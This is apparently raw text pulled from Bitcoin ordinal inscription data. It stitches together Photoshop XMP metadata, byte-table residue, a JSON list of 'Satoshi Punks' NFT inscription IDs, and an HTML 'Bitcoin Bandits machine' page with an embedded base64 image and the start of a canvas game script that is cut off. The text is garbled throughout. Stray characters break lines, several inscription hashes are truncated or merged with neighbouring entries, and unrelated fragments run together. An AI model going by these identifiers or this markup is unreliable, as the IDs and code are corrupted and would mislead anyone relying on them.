" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:1M
04903A9ACF211EDA05F8F50EF0AC4BC" xmpMM:DocumentID="xmp.did:104903AAACF211EDA05F8F50EF0AC4BC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:104903A7ACF211EDA05F8F50EF0AC4BC" stRef:documentID="xmp.did:104903A8ACF211EDA05F8F50EF0AC4BC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

urn:mpeg:mpegB:cicp:systems:auxiliary:alpha
text/plain;charset=utf-8
@SatoshiPunksNFT on Twitter
https://twitter.com/SatoshiPunksNFT
https://www.satoshipunks.art
Satoshi Punks Inscription IDs:
{"Satoshi Punks": "1", "inscription": "b3ce6bb0e3873555a8ffe79b94f51668e4b8bc0e1c5ad47e05b00d4693cb27ffi0"}
{"Satoshi Punks": "2", "inscription": "adebf9b98d0f4cc8f48b211655f548fb662d3cff7a630359e1fffb0c60275800i0"}
{"Satoshi Punks": "3", "inscription": "19db79a50dac77b87d76a1f60d576a6938d57e1d77M
647734442284a0b3cf95edi0"}
{"Satoshi Punks": "4", "inscription": "06d0a6eca70ba63e125a88a3d651bb417b4cf6b27725f9f1420aeb7385a0ba1ei0"}
{"Satoshi Punks": "5", "inscription": "0e5c8082a3fe02d172c3003b838771fdcb785986a9d292862ee8bdc008b7b3a8i0"}
{"Satoshi Punks": "6", "inscription": "38c2604d585463c097d5604a3c26855592c3721d97e0e413e4af24e1721c0ecbi0"}
{"Satoshi Punks": "7", "inscription": "b22b892a88d107ce00c17ba212194ae2a3f1ac8e67522124c8431f4e28fe958bi0"}
{"Satoshi Punks": "8", "inscription": "7cc6b3dfc66227804c23c5M
cb570fe6240f503a7195e164f0ecddebbb3c9246dbi0"}
{"Satoshi Punks": "9", "inscription": "6f8d78851ab05a9ca62ac5247514b0aec734a784caf124bccdabae594954b436i0"}
{"Satoshi Punks": "10", "inscription": "16879ae0ed7d14bc6520fd2995fa0d0ddd0467ada61d96691abbca6bf27a8367i0"}
{"Satoshi Punks": "11", "inscription": "360520ed184eb53fad8270b5812a8ffb1138430ee9469065d45f1f535d0bd20fi0"}
{"Satoshi Punks": "12", "inscription": "a18ffaa7b0452d1a2d7e4faecec418962ec1677c3ec03becf77c99477929fba0i0"}
{"Satoshi Punks": "13", "inscription":M
 "e5e554218cc287d483b98ef0b8b2e1bc729763e45979c579110b009ebb85d4c4i0"}
{"Satoshi Punks": "14", "inscription": "b858486195d4f110761e750ab6276d99f4c38137ee912b43a0d9e06116c5a8f4i0"}
{"Satoshi Punks": "15", "inscription": "6ff1443850dbd73eb8c743f4dc3c4fce4c544899c82c8c4da91bd470e6d149e1i0"}
{"Satoshi Punks": "16", "inscription": "26aea44b8f656523d0f709cd1fc2c986df4e3291af262231cac0ff3e691e1efbi0"}
{"Satoshi Punks": "17", "inscription": "fc99e4a08e8e89a6b8815f3fe8b1ce7264f0b5bcf0774cb3e6f4cdf95528d981i0"}
ks": "18", "inscription": "5c963c51f35d614f32bcf1628e0ccbdb9603344fc48a89b8d1d948d08285a51fi0"}
{"Satoshi Punks": "19", "inscription": "d703251c688e64fbd500f4e4d6499a12dfd69e3959bedc6929b12356038acb46i0"}
{"Satoshi Punks": "20", "inscription": "a06545da3a1406941e301dc6620ce7042e32492b482f4315eeee6b8db7b4528di0"}
{"Satoshi Punks": "21", "inscription": "896b29bf0eccd7c67f1fb7bc6408a57ef4ba169b6b85ea2f3ca15a2c8166cffai0"}
{"Satoshi Punks": "22", "inscription": "037045626ed021a6102ec0c5d845fd47d197a312004b23ad0e04f1597M
{"Satoshi Punks": "23", "inscription": "25374e6ca2885da3362a95435652eec532de41ac4919807931e17edaff9d3732i0"}
{"Satoshi Punks": "24", "inscription": "11ef2901d8958f392d6d88c92c99bb1ff9127679047aa8d588bbd12367bd8ae2i0"}
{"Satoshi Punks": "25", "inscription": "5aef0143463f35ed00961788f2f539efba05feef3ffdbb33e11b505413f8937ei0"}
{"Satoshi Punks": "26", "inscription": "0072f35de73c095f290c56e912f893e6610edd9f45db87f2861733b01fbc9278i0"}
{"Satoshi Punks": "27", "inscription": "6a960f3c843a07602e780bc9c09dc7e6M
43d5fca979c96b96e2c20e70c21e3e4ai0"}
{"Satoshi Punks": "28", "inscription": "30558d303686c9430526007deff6df3ea44cd9d3e5e7d0c49f2545348e6b6bafi0"}
{"Satoshi Punks": "29", "inscription": "3b9d7ddf5f1c554734c99c5409261285d12790711e4cfc8b422939a9153a3b7ci0"}
{"Satoshi Punks": "30", "inscription": "0da87d55a2d1d43199eaa33feed92fe196ee3066768aceeb33cf2eadd5416e12i0"}
{"Satoshi Punks": "31", "inscription": "6da6d08dbe14583970675f50924b553fd1f5cb9b0e30eb0ddafd66317166a493i0"}
{"Satoshi Punks": "32", "inscription": "3851e1eM
8f2a602efdb21b78b8f7b10d0f395257a5e6ce3c9351827d39232a6a1i0"}
{"Satoshi Punks": "33", "inscription": "a61fabb5fb5e1db0965c29059eb024019d5ce03c9c334379984c00a4cc2315a6i0"}
{"Satoshi Punks": "34", "inscription": "5c91185476659f4dc659a63ec61c877455f9c4257df2c86ec4c00fe88bec00b7i0"}
{"Satoshi Punks": "35", "inscription": "765f748bb04db0d509ec2e4dcb4fab6ee8158c28c54558a0d63be5caf7e0d270i0"}
{"Satoshi Punks": "36", "inscription": "98b8e0ebecb275aa56e1775fdbcf7afa30bde1b5f8de96ee2aa9fc31e9b65bf5i0"}
{"Satoshi Punks": "37"M
, "inscription": "563fe8103842e327c0b9458996eff83ad560dbf5ad79b93f3aa7c442d28bfa52i0"}
{"Satoshi Punks": "38", "inscription": "415021ca6df88f7f8c401196c38fa774b139b3d5e752a7aefe77f15ceea36c16i0"}
{"Satoshi Punks": "39", "inscription": "ed89a1608a048b13d396850505bca1e44427738492fae91de5ae32b19dd0d7a6i0"}
{"Satoshi Punks": "40", "inscription": "bf4c87a40f433e3a7524335fac204e1dbaabad9e5e15f4e2d7699661c8c4bc80i0"}
{"Satoshi Punks": "41", "inscription": "76ca013608d3d7add9156c289ada6b4fbd8db0b6d4524ddc0ac54c2b8e833205i0M
{"Satoshi Punks": "42", "inscription": "f14aa5236e5bafb2d43b4954d80d6aaee81f31b5d98dd8b697d0f02d76c28b37i0"}
{"Satoshi Punks": "43", "inscription": "725100517f11b96ff92d00c127d64ef213e3fa13cd750c54842e44ff874eb54ai0"}
{"Satoshi Punks": "44", "inscription": "bb8b247a3589e342173d0cf423acebde82024a596b4e0c834f50572073a46145i0"}
{"Satoshi Punks": "45", "inscription": "0a1bbcc94d1b7cd0778dedcb2644da0eb84fc790156797dbc2fe9bc1f7757c22i0"}
{"Satoshi Punks": "46", "inscription": "aba9c4a38e0ed709c9595e1676e18c776888d23caM
6079e5286fb0beba40aa980i0"}
{"Satoshi Punks": "47", "inscription": "3f389677ab38fa40dbb0faf8d894f31a2867c74988134ab8fd49dcb0647b9411i0"}
{"Satoshi Punks": "48", "inscription": "cf29a153370e60d4391dd3c4b134bde11b6234ff009f5c828f667a3f93ebaa84i0"}
{"Satoshi Punks": "49", "inscription": "ad23df5e4a783ef79950687433cf2eebf56c4f401dce372b0f65a7155e39e37ei0"}
{"Satoshi Punks": "50", "inscription": "82e4a49025ee6468373bd066acfc23537bdb9688a11c819714f3b119868d2a44i0"}
{"Satoshi Punks": "51", "inscription": "62495de907c3e3b8M
2593b532df181715d67f7e2cc596ac398db437571b70d305i0"}
{"Satoshi Punks": "52", "inscription": "1eca8b8a41345f6db9a28b2262a00223424ccf6b2a379a00eb3a2d3ac823bcb3i0"}
{"Satoshi Punks": "53", "inscription": "ede78bd26ebb2c4834f0fe70db408c816998ce54a1383c762ab7db92605c6107i0"}
{"Satoshi Punks": "54", "inscription": "aec9a59137e8410cb100dbdda75924d3b081fad1bd35fe15c5ac2e00d571480bi0"}
{"Satoshi Punks": "55", "inscription": "9f64f8cc9329e15aeef623a33ece5c755dfbc518649cf758d004ffe942c109ddi0"}
{"Satoshi Punks": "56", "inscriM
ption": "80a4653dc38608597a1a765c1785ac15c897e2db14d62e03b2b6c03c2ac671d2i0"}
{"Satoshi Punks": "57", "inscription": "d037c17ea4954758fb96f47186485e5fbec0ef7b115a2e99542b2d6310eb010di0"}
{"Satoshi Punks": "58", "inscription": "ba68baa7bbfcbabe3f7f6fda965c8ff7de318b569ff0262f6415d84e6fc7b7fdi0"}
{"Satoshi Punks": "59", "inscription": "84a9299a96fc0a9b0cae7016297c1952abefe78cc51a30be8ecaee080594603ei0"}
{"Satoshi Punks": "60", "inscription": "c2f64fcec84a686e8d5585fa1c7ddc1533bf0c223225bf9b81cf1b98b18c5da2i0"}
shi Punks": "61", "inscription": "f98e97c55f484a2423f0fb5d2e438205665ef22f5f92cab604f914ec297fb445i0"}
{"Satoshi Punks": "62", "inscription": "55212edda8a41857e535500504013136674fd7819b32909459e4ca723e536c3ci0"}
{"Satoshi Punks": "63", "inscription": "31c1839232ecd14659cd83825efdad433dde648ce7fc68822550a8027033c3b1i0"}
{"Satoshi Punks": "64", "inscription": "3a56fe30d982c9d56bda26f6873528577b6cb3427267f1e80ddf80ff73e1633bi0"}
{"Satoshi Punks": "65", "inscription": "86ac68adaa78db73d41119f1f86467fe848b3dc68119c73f2cM
{"Satoshi Punks": "66", "inscription": "13cc504023563288f16237dfc51cbaf40128bcb2e519caa0d469dc9afb482752i0"}
{"Satoshi Punks": "67", "inscription": "59bb0a1bf658eaf27a28eac22a1df2a428498f7726bf0682cccfd3876e6b1af3i0"}
{"Satoshi Punks": "68", "inscription": "a27cd916495cdea4b0335e7c41b4cd85256b428b1fbf3ac97a49d8b479613090i0"}
{"Satoshi Punks": "69", "inscription": "a79e444e9e2bdf920bd1295440be955c018ffa28972d97025e6df50e1d1da061i0"}
{"Satoshi Punks": "70", "inscription": "2613a0fcc9fe866c1d124cc62M
a9c74fcb05080459e8273800f45ecd27caab257i0"}
{"Satoshi Punks": "71", "inscription": "fb134d542e691d97b7c781bf99f50bd2f3c53f5876104f933e7224292c37b41ci0"}
{"Satoshi Punks": "72", "inscription": "367b84b7cef9f3cfb298036e3b581f706c765b509c481a2d9207f8270e19c603i0"}
{"Satoshi Punks": "73", "inscription": "01911273a1fef7283fe3a31dbb55a79e2945e61fa92dca074f068dc5780c0b86i0"}
{"Satoshi Punks": "74", "inscription": "e9fa4fab225e62b44c2995166c85b10ec2fe8b0417058ce73e34e4c22c2049a8i0"}
{"Satoshi Punks": "75", "inscription": "M
fb4fa73475cee215056ca13221a243a3db605a27be5b3e16ca192f4c54f60dcei0"}
{"Satoshi Punks": "76", "inscription": "0fcca6aa921a468e76b4b95c1b543373de165158d68bf6fd58d2c337c055e31bi0"}
{"Satoshi Punks": "77", "inscription": "49e76c0940f7e7f19ab251270756fccb44774ace702c09bd687c706bdff0989ai0"}
{"Satoshi Punks": "78", "inscription": "a08aba8543b8fe761c1df2f8867f611ed0aabbce9e138e3f68d4f38da3618dd7i0"}
{"Satoshi Punks": "79", "inscription": "ca83e22518ddbd13321b6039b45df6f672e5b48196d3dd74d807f6619a62cb92i0"}
": "80", "inscription": "09acac36ee874f78749df1760bb0493ed316e38c631c2e907682d58ff00c1092i0"}
{"Satoshi Punks": "81", "inscription": "9be50fbd4a47403437bb3c5b3b50aea90697dbeaf6a45c039f8af492c87ffc48i0"}
{"Satoshi Punks": "82", "inscription": "ee571c2f93f19e6a4f95d3bbeb7338496cf4cf977002b7b13d097e0cfb97e9d0i0"}
{"Satoshi Punks": "83", "inscription": "32929e6c57bd657b715dd4a4f9c36f21ab8867419404a47be6b47746de12a622i0"}
{"Satoshi Punks": "84", "inscription": "26147926d0475fd8cc813255152ef8bbd8c4339933560cf10d8e13de733M
{"Satoshi Punks": "85", "inscription": "67a39d10aa1c67ac9347dd769b10791cad83c471a9f434a6498fc0d0f6d06e5ei0"}
{"Satoshi Punks": "86", "inscription": "4a79e2e8bb0a4a5d21cbe2feec767f1018462b5d7db72ac05b57b4e9baa8a869i0"}
{"Satoshi Punks": "87", "inscription": "17b9b27a308cc7290e9c4accb84fb93f08ab8da394e7afc6e16a7672b6dd897fi0"}
{"Satoshi Punks": "88", "inscription": "e1ae24145b2eba4936b414de03ffea6897940a610c11de8145d06291998c8ef5i0"}
{"Satoshi Punks": "89", "inscription": "6dc86167c0f9e381c9d32129c4e41a0e82M
f8ca546ae635d4ec84a293f89238f3i0"}
{"Satoshi Punks": "90", "inscription": "d7eb58eb6fefa895021d0394315f33303380766c57f40f1954cc9a17cdd2d415i0"}
{"Satoshi Punks": "91", "inscription": "d03c09273b543171ac5b16a10679554c430dbc27e8fda123490295aef9dc1f7ei0"}
{"Satoshi Punks": "92", "inscription": "7f4d3a94b3a1dbb25180e88b3c88322c97235f36b192c81c4b559e1ca4516529i0"}
{"Satoshi Punks": "93", "inscription": "a9b6cefb95f1d77a73059a59ead2250a50bd9ae2986bd58d183d4de8a98b0a6ai0"}
{"Satoshi Punks": "94", "inscription": "bb55399cdM
0b083cccbe7164bfd1805e1ebf110a9620d427047af6c3953f582cbi0"}
{"Satoshi Punks": "95", "inscription": "479a8f29d4f3b05085798f56ba3e0c731067fe41637b1b320c1f7bc0355b4cb4i0"}
{"Satoshi Punks": "96", "inscription": "c2953a92eff3992c59d72bd2b5c2c101410c74e057c8846e9f514ae3d3aaca87i0"}
{"Satoshi Punks": "97", "inscription": "3cffcdfefd93c76122773641a215ebbcfb27fd69f3188e616054dbb08c9490c5i0"}
{"Satoshi Punks": "98", "inscription": "5d0595773100a7d688f23947129b8d28aa9de9be6d01457cf1f6834cc98d6ebci0"}
{"Satoshi Punks": "99", L
"inscription": "283833fbef90a4005fcacbbeba59bc55630c9e9c9690c51384639e17632524d2i0"}
{"Satoshi Punks": "100", "inscription": "2f422224d99114119fa5e8ec92e59f8cf57f5678564f060997e5b9b4ba0986f4i0"}h!
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
UCKOPlp/5fXleMvG7IWKJ9t1c6NKk/z5G+P0BDuYq3TQAEHpoIet6jnRXXzl1TjtfYZxpYMGCEqBBghKxDEgbS4Y5se6iTKKi4PjdGFw2bJlIzk3tKGDBghKgQYISsQxBHnckdLkeMuKdv8U47rn+cknnxypeWE2dNAAQSnQAEGJOIJYf2fLmOLE/qwjul27dg17CVMsWbJk2EtgDtNBAwSlQAMEJeKAlnbu3Fk5Xrly5RBWw1ymgwYISgfNSMo716VLlw70s/PPc5GQftJBAwSlQAMEJeJoacvG93X+UPUkuhrjemt2vww61oBh0EEDBKVAAwQl4qhRG2Vsm9l8+YP3r76m82MXdwB1dNAAQSnQAEGJOHpl4tyUUkq7NzR/n2BV3CHqGB1u9WZQdNAAQSnQAEGJOPZT7t6ouwnlpSijzuJNnde7iTsKVz9oZ8eo8CyO3tuw/uxyfP/99/f987Zv35796VV9/7yZ0kEDBKVAAwQl4piFPMKo0k3cUYzzZ3VQb1QiM
hZNPPnnYS2AO0EEDBKWDnoW8Q67S5iLhOHj96e/M/nRzSimlrVvXDmcxfbZ58+Zy/Nq33DzElQzficd2LsKddtpp5Ti/GLhpy02DXFJKB79i2pfzi5YDX1tGBw0QlAINEJSIYxZ6cZFwXHXijrn/6//UaIfCv37/gWEvIaWU0oM/fmrYS6ilgwYISoEGCErEwVD59X+8DOI27l6Isk4dNEBQCjRAUCKO/ay/8vqUUkpbNmYHa55s13SjSjeKW7w9wQ7Ynw4aICgFGiAoEUdbDQ/yb3pqHUC3dNAAQemgaxQXC1Pq7oJhcbybTjl/9rOLg0AdHTRAUAo0QFAiji7kcUdKWfSxovsfn1gDaEsHDRCUAg0QlIhjFtbf2SKqOLF/6wDmJh00QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFD2QQN9tXnz5srjE6vXDHgl04u4Th00QFAKNEBQYxVx5L+qbLt1bTm+765hrGY4bqw6duVY/WcQWv7vEy0CYPB00ABBKdAAM
Qc2bWL1m37AXAcCBdNAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABB/T8wj/+fh8iWWAAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleM
